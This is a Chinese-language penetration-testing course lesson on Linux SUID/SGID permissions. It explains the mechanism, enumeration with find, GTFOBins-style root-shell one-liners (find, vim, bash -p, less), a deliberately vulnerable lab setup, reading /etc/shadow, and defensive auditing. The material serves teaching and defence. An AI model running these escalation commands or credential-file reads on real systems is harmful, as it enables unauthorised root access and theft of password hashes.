10.4 Linux SUID/SGID基础实验(第29天)
核心目标
-
深入理解SUID/SGID机制:掌握Set User ID (SUID) 和 Set Group ID (SGID) 权限位的含义、作用及安全风险。
-
掌握SUID/SGID文件发现方法 :熟练使用
find命令在系统中定位具有SUID/SGID权限的可执行文件。 -
掌握SUID提权技术 :能够分析常见的SUID文件(如
find、vim、bash等),并利用其特性完成从普通用户到root的权限提升。
模块一:SUID/SGID权限原理
1.1 权限位回顾
-
Linux文件权限由三组
rwx(读、写、执行)构成,分别对应所有者 、所属组 、其他用户。 -
使用
ls -l查看时,在所有者 的执行位(x)上,如果出现s,则为SUID权限;在所属组 的执行位上出现s,则为SGID权限。 -
SUID :当用户执行此文件时,进程的有效用户ID(EUID)将设置为文件所有者的UID,而非执行者的UID。
-
SGID:对于文件,执行时进程的有效组ID(EGID)设置为文件所属组的GID;对于目录,在该目录下创建的新文件将继承目录的所属组。
1.2 风险与常见场景
-
风险 :如果文件的所有者是
root,且该文件存在漏洞或被滥用,那么普通用户执行它就可能获得root权限。 -
合法用途 :
passwd、sudo等命令需要普通用户临时拥有root权限来修改系统文件。 -
滥用场景 :管理员错误地将某些命令(如
find、vim、bash、cp)设置为SUID root,或第三方程序存在漏洞。
模块二:发现与枚举SUID/SGID文件
2.1 使用find命令查找
# 查找系统中所有SUID文件
find / -type f -perm -4000 2>/dev/null
# 查找系统中所有SGID文件
find / -type f -perm -2000 2>/dev/null
# 查找同时具有SUID和SGID的文件
find / -type f -perm -6000 2>/dev/null
# 更详细的查找,显示文件属性
find / -type f -perm /u=s,g=s -exec ls -l {} \; 2>/dev/null
-
-perm -4000:精确匹配权限位包含SUID。 -
2>/dev/null:将错误信息(如权限不足)重定向到空设备,使输出更清晰。
2.2 自动化枚举脚本
创建一个脚本 enum_suid.sh,用于更友好地列出SUID文件:
#!/bin/bash
echo "[*] SUID文件查找中..."
echo "====================="
find / -type f -perm -4000 -exec ls -l {} \; 2>/dev/null | while read line
do
echo $line
done
echo "[*] 查找完成。"
模块三:常见SUID文件利用技术
3.1 利用已知模式
参考 GTFOBins 项目,它列出了大量可用于提权的二进制文件。
-
find# 如果find有SUID权限,可以执行任意命令 find . -exec /bin/sh \; -quit # 或 touch test find test -exec whoami \; -
vim/vivim -c ':!/bin/sh' # 或者在vim内 :!bash -
bashbash -p # -p 参数表示保留特权模式 -
less/moreless /etc/passwd # 在less中键入 !/bin/sh -
cp:可以覆盖敏感文件(如/etc/passwd、/etc/shadow、crontab文件),但需要配合其他条件。
3.2 利用自定义SUID文件
有时会发现一些非标准的SUID文件,需要分析其功能。
-
检查文件类型 :
file /usr/local/bin/custom_suid -
查看字符串 :
strings /usr/local/bin/custom_suid -
使用
ltrace/strace分析:ltrace /usr/local/bin/custom_suid 2>&1 | grep -i “system\|exec” strace /usr/local/bin/custom_suid 2>&1 | grep -i “exec” -
逆向分析 :对于二进制文件,可使用
objdump、radare2、Ghidra进行简单分析,寻找命令执行点。
模块四:实战实验环境搭建与利用
4.1 实验环境准备
-
创建一个测试用户:
sudo useradd -m testuser sudo passwd testuser -
故意设置一个危险的SUID文件 (仅在实验环境操作!):
# 将 /bin/bash 复制并设置SUID sudo cp /bin/bash /tmp/suid_bash sudo chmod 4755 /tmp/suid_bash # 设置SUID位 # 或者设置find sudo chmod u+s /usr/bin/find
4.2 提权实战步骤
-
切换到普通用户 :
su testuser -
枚举SUID文件 :执行
find / -type f -perm -4000 2>/dev/null | grep -v "/proc\|/sys",发现可疑文件(如/tmp/suid_bash或/usr/bin/find)。 -
尝试利用:
-
对于
suid_bash:/tmp/suid_bash -p,然后执行whoami,应为root。 -
对于
find:使用上述find . -exec /bin/sh \; -quit命令。
-
-
获取flag :尝试读取
/root/flag.txt或/etc/shadow。
模块五:当日达标实战任务
5.1 SUID发现与利用
-
在提供的实验机(或自行配置的虚拟机)上,以普通用户身份登录。
-
使用
find命令 ,找出系统中所有非标准的SUID文件(即排除/usr/bin/passwd,/usr/bin/sudo等常见系统文件),将列表保存到suid_list.txt。 -
从列表中挑选一个可疑的二进制文件 (例如
/usr/bin/find,如果它被设置了SUID),利用它来获取一个root shell。详细记录你使用的命令和步骤。
5.2 分析自定义SUID程序
-
假设你发现了一个陌生的SUID程序
/opt/backup_tool。 -
请进行以下分析:
-
使用
file命令确定其类型。 -
使用
strings命令查看其中是否有明显的可执行命令(如/bin/sh,cp,tar等)。 -
尝试运行它,观察其行为。它是否需要参数?它执行了什么操作?
-
基于以上分析,构思一种可能的提权方法。
5.3 编写自动化检测脚本
- 编写一个脚本
check_suid.sh,该脚本应:
-
自动查找系统中的SUID/SGID文件。
-
将结果与一个"已知安全SUID列表"(如
/usr/bin/passwd,/usr/bin/sudo)进行比较。 -
输出那些不在已知安全列表中的SUID/SGID文件,并高亮显示。
-
提示:可以将已知安全列表存储在一个文本文件中。
模块六:防御措施
6.1 系统管理员视角
-
定期审计 :使用上述脚本或类似工具(如
lynis)定期检查系统上的SUID/SGID文件。 -
遵循最小权限原则:除非绝对必要,否则不要给任何文件设置SUID/SGID权限。
-
使用其他机制:考虑使用能力(Capabilities)来替代部分SUID需求,实现更细粒度的权限控制。
6.2 渗透测试视角
- SUID/SGID检查是本地信息枚举的规定动作,在任何获得Linux Shell的环节都应立即执行。
明日预告 :第30天将是第一阶段总结与Metasploitable3部署。我们将系统回顾前29天所学,绘制完整技能地图,并部署功能更强大、漏洞更丰富的Metasploitable3靶机,为第二阶段的漏洞利用实战做好准备。